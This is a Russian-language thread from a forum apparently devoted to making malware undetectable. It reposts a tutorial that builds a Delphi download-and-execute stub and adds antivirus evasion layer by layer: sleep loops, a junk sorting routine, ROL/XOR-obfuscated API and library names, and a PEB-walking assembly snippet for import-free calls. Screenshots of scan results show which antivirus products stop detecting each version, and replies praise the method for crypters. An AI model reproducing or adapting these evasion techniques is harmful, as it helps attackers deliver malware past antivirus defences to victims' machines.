1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Чистим стаб (если есть сорец)

Тема в разделе "Чистка Stub", создана пользователем Molodoy, 3 фев 2013.

  1. TopicStarter Overlay
    Molodoy

    Molodoy Гость

    Здравствуйте уважаемые форумчане и гости форума!
    Сегодня хотелось бы немного уделить внимание антивирусной защите как таковой.

    Мы проведем несколько простых опытов с помощью программирования и посмотрим на «крутость» антивирусных систем.

    Начнем с простого: пациентов я взял, грубо говоря по вашему суждению.

    [​IMG]

    Значит берем «фантастическую четверку» : нод,касперский,др.вэб и аваст.

    Извращаться будем уже как всегда с известным кодом: скачивание+запуск файла.

    Я буду использовать частный сервис проверки которые не отсылает копии АВ компаниям.(акк мне дал один добрый человечек на ачате)

    Начнем.

    Сразу же напишем код и закинем его на проверку.

    Код:
    program Project2;
    uses
      windows,urlmon,shellapi;
     
    begin
     
    URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
    shellexecute(0,'open','C:\file.html',0,0,SW_SHOW); 
     
    end.

    Смотрим что получается:
    [​IMG]

    не знаю почему, но аваст тупо отморозился, что уже как бы «намекает».Остальные справились безукоризненно.

    Дальше мы начнем немного «разбавлять» код.

    Дополним его небольшим циклом

    Код:
    program Project2;
    uses
      windows,urlmon,shellapi;
    var i:integer;
    begin
    for i:=1 to 10 do
    begin
    sleep(1000);
    GetTickCount;
    sleep(1000);
    GetModuleHandle(0);
    end;
     
    URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
    shellexecute(0,'open','C:\file.html',0,0,SW_SHOW); 
     
    end.

    Смотрим результаты:
    [​IMG]

    Аваст-то же самое.
    Отечественный производитель справился с задачей,но посмотрите НОД не смог (не стал) эмулировать из-за задержек и пропустил троян!!!

    / небольшая справочка,чисто для прикола: если в цикле использовать не 10 ,а $989680 то и каспер отпадает(но не др.вэб) но т.к. это занимает СЛИШКОМ много времени,то я его не использую,но можно попробовать подставить меньше секунды слипы,проверьте если хотите,поиграйтесь\

    Идем дальше…
    Добавим в код сортировку массива методом пузырька:

    Код:
    program Project2;
    uses
      windows,urlmon,shellapi;
     
    var i,n,p:integer;
    a: array[1..100001] of integer;
    b:boolean;
     
    begin
    for i:=1 to 10 do
    begin
    sleep(1000);
    GetTickCount;
    sleep(1000);
    GetModuleHandle(0);
    end;
     
    begin
    randomize;
    for i:=1 to 100001 do
    a:=random(512)+5;
    n:= Length(a);
    if n < 2 then exit;
    repeat
      b:= false;
      Dec(n);
      for i:= 0 to n-1 do
      if a > a[i+1] then
        begin
        p:= a;
        a:= a[i+1];
        a[i+1]:= p;
        b:= true;
        end;
    until b;
    end;
     
     
    URLDownloadToFile(nil,'http://yandex.ru','C:\file.html',0,nil);
    shellexecute(0,'open','C:\file.html',0,0,SW_SHOW); 
     
    end.



    Смотрим что получается:
    [​IMG]

    Отпал теперь и др.вэб
    пока отечественные продукты проявили себя лучше всех,и судя по этим 3 опытам касперский имеет довольно мощную эвристику.

    Следующая фишка меня можно сказать даже порадовала.Сделал я так:
    сперва зашифровал библиотеки и функции побитовым сдвигом влево (рол) и… О да это было прекрасно:


    Код:
    program Project2;
    uses
      windows,urlmon,shellapi,idglobal;
     
    var i,n,p:integer;
    a: array[1..100001] of integer;
    b:boolean;
    h:Thandle;
     
    DownLoad: function(p1:IUnknown;url:PAnsiChar;tofile: PAnsiChar;reserved:dword;lpfncb:pointer):HResult;s  tdcall;
    exec: function(p1:integer;p2:pchar;p3:pchar;p4,p5,p6:int  eger):integer;stdcall;
     
    function RORR(s:string):string;
    var x:integer;
    begin
    for x := 1 to length(s) do
    s[x] := char(ROR(byte(s[x]) ,1));
    result:=s;
    end;
     
    function XORR(s:string):string;
    var x:integer;
    begin
    for x := 1 to length(s) do
    s[x] := chr(ord(s[x]) xor $0E);
    result:=s;
    end;
     
    begin
    for i:=1 to 10 do
    begin
    sleep(1000);
    GetTickCount;
    sleep(1000);
    GetModuleHandle(0);
    end;
     
    begin
    randomize;
    for i:=1 to 100001 do
    a:=random(512)+5;
    n:= Length(a);
    if n < 2 then exit;
    repeat
      b:= false;
      Dec(n);
      for i:= 0 to n-1 do
      if a > a[i+1] then
        begin
        p:= a;
        a:= a[i+1];
        a[i+1]:= p;
        b:= true;
        end;
    untilb;
    end;
     
    h:=LoadLibrary(pchar(Rorr(Xorr('дкЦФРТRЖЦЦ'))));
    @DownLoad:=getprocaddress(h,pchar(rorr(xorr('¤Є–†Р  аТЦРМЖ¦Р‚ЬЦДЊ'))));
    DownLoad(nil,pchar('http://yandex.ru'),pchar('C:\file.html'),0,nil);
    freelibrary(h);
    h:=LoadLibrary(pchar(rorr(xorr('иЮДЦЦhjRЖЦЦ'))));
    @exec:=getprocaddress(h,pchar(rorr(xorr('ЁЮДЦЦ„юДИ  джДЊ'))));
    exec(0,'open','C:\file.html',0,0,SW_SHOW);
     
    end.



    [​IMG]
    Результат (ёмаё!):

    поясню код в этом моменте немного:
    мы зашифровали rol-ом названия библиотек где содержатся эти функции и сами названия функций (не забываем,что мы их вызываем с дополнительной «А» (shellexecutea) ну и написал две функции.Принцип легок:
    обратная функция ксору-ксор, обратная функция ролу-рор, соответственно я сначала сдвигал биты ролом,а потом ксорил получившейся результат, при дешифрации соответственно обратный порядок-разксорили и потом рором сдвиг сделали. вот и все.прототипы «новых» функций смотрим в мсдн и копируем параметры.
    ================================================== ==========================
    В общем то есть еще один метод который позволяет опустить наших «гигантов» АВ индустрии -это вызов без использования импорта.Я его тут полностью расписывать не стану.
    через ПЭБ получаем указатель на «главную» библиотеку:
    такой код:

    Код:
    asm
    mov  eax, dword ptr fs:[30h]
    mov  eax, dword ptr [eax+0ch]
    mov  eax, dword ptr [eax+1ch]
    mov eax,  [eax]
    mov  eax, dword ptr [eax+08h]
    mov p, eax
    end;

    в семерке получается указатель на kernelbase, хотя если я не ошибаюсь там есть все теже функции что и в kernel32. Так вот смысл в том что мы должны получить прототип LoadLibrary , а дальше думаю догадались- так же с помощью шифрованных функций и имен длл вызывать нужные функции. в итоге все наши крутые перцы нервно курят в стороночке. так же можно и с getprocadress сделать(даже немного и с seh поиграть).

    Итоги подведем:
    Др.вэб и касперский оказались «самыми нормальными», вообще у меня стоит др.вэб каспера не поставил ввиду того что похавать оперативу он любит,хотя думаю если кошерно настроить то будет очень даже ничего.
    Статья не рекламирует какой либо продукт и не усомняет вас в выборе какого либо АВ средства (хотя кому я вру-конечно же усомняет) это я к тому что бы крикуны которые восхваляют нод32 спеси то поубавили, ибо скорость работы еще не залог успеха,в чем мы собственно убедились.И так же мораль статьи-если против вас работает мудрый хакер,то все антивирусы идут далеко и надолго,лучшая защита-ваша голова (желательна дополнительная надстройка-моск). Но если выбирать для простенькой защиты на проно сайтах то я бы не взял нод или аваст.
    Вот собсно и все) спасибо за внимание.

    (с) DooD (античат.ру)
     
    • Like Like x 9
    Метки:
  2. TopicStarter Overlay
    virusik85(old)

    virusik85(old) Гость

    Статья хороша но сигнатуры я считаю каменный век , сейчас проактивки почти везде стоят
     
    • Like Like x 1
  3. TopicStarter Overlay
    Molodoy

    Molodoy Гость

    Для крипторов самое оно:)
     
  4. Agulzex

    Agulzex

    Регистрация:
    23 окт 2012
    Сообщения:
    411
    Симпатии:
    375
    да ну таким методом чистить. глупо..... Хотя статья полезная))))
     

Поделиться этой страницей

Загрузка...